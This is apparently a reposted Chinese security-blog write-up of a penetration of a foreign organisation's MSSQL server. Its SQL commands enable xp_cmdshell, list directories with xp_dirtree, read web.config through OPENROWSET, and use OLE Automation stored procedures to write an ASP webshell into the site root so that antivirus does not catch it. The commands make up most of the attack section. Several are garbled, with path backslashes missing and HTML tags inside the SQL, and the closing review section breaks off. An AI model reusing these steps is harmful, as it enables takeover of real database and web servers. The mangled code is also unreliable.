0x1 开篇
记录一次比较有思考意义的国外渗透过程,通过外围打点渗透,成功获取到目标数据库的账号和密码,连接数据库后上传 WebShell 实现控制,但在尝试上传后门木马文件时,发现目标系统中运行着杀软,使用 tasklist /SVC 确认杀软进程的存在,导致一旦上传恶意文件,系统会立即触发杀软扫描并进行拦截,上传木马的尝试失败。
0x2 初遇难题
这里外围打点,如何拿到数据库账号密码的,就不写了,主要是绕过杀软成功上传WebShell的思路。
开始:我拿到的是mssql数据库的账号密码,连接成功后,第一时间想到使用xp_cmdshell 执行系统命令,但是遗憾以失败告终! xp_cmdshell 是 Sql Server 中的一个组件,我们可以用它来执行系统命令。 首先查看数据库的权限:
Select IS_SRVROLEMEMBER('sysadmin');
为1说明是 SQL Server 的 sysadmin 角色成员。
开启xp_cmshell
EXEC sp_configure 'show advanced options',1RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
执行命令,显示报错,问gpt,说权限问题或存在杀软、防火墙,禁止调用系统命令。
exec master..xp_cmdshell 'whoami';
所以xp_cmdshell,这条路断了,想其他思路。
0x3 峰回路转
OLE自动化存储过程写入WebShell
在网上找了其他思路,最终确认一条”OLE自动化存储过程写入WebShell”。
开始操作,首先权限必须是DBA权限,我们已经是的,其次要知道网站的绝对路径。绝对路径怎么找,上网找到xp_dirtree。
xp_dirtree
xp_dirtree 是 SQL Server 中的一个扩展存储过程,用于返回指定目录下的所有文件夹和子目录的树状结构。它可以帮助查询指定路径下的目录结构,常用于获取目录中所有子文件夹的信息。
用法:
列出C盘下Temp目录所有文件EXEC xp_dirtree 'C:Temp',1,1;列出C盘下Temp目录所有文件夹EXEC xp_dirtree 'C:Temp',1;
通过这种办法,就找到了目标系统的网站路径。
但是要是想看具体文件的内容,就需要其他方法。
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
SELECT *FROM OPENROWSET(BULK 'd:TwApiWuyeweb.config',SINGLE_CLOB) AS FileContent;
作用:读取整个文件的内容为单个文本字段。
0x4 势如破竹
declare <span>@o</span> int, <span>@f</span>int,<span>@t</span> int, <span>@ret</span> intexec sp_oacreate 'scripting.filesystemobject',<span>@o</span> outexec sp_oamethod <span>@o,</span>'createtextfile',<span>@f</span> out, 'd:xxxxmuma.asp', 1exec <span>@ret</span>= sp_oamethod <span>@f,</span>'writeline', NULL,'木马文件内容'
EXEC sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
0x5 复盘思考
权限差异
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
原文始发于微信公众号(掌控安全EDU):绕过杀软防护实战 | 通过数据库写入WebShell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论